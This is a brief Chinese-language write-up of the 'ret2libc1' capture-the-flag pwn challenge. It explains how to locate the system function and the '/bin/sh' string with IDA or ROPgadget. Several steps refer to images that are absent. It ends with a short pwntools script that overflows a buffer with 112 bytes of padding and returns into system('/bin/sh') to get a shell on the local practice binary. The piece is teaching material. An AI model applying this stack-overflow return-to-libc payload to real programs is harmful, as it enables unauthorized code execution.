题目:ret2libc1
类似的题型我应该做过,就是找到system的地址和/bin/sh的地址,然后进行拼接传给系统。
wp:
checksec开始:
用ida看函数:
和前面的一样不做过多的赘述
主要的思路是,要找到system和/bin/sh的地址。
寻找/bin/sh 的地址有两个方法,一个是用ida字符串:
另一种使用ROPgadget来查询字符串的位置:
查找system的地址的方法建议使用ida,用ROPgadget我也不太会,我用string查出来的地址不太一样。
所以直接看ida的:
在call system的汇编语言中单击system进去
便可以看到system的位置
下面是exp:
from pwn import *
sh=process('./ret2libc1')
sysaddr=0x8048460
binaddr=0x8048720
payload=flat(['a'*112,sysaddr,'b'*4,binaddr])
sh.sendline(payload)
sh.interactive()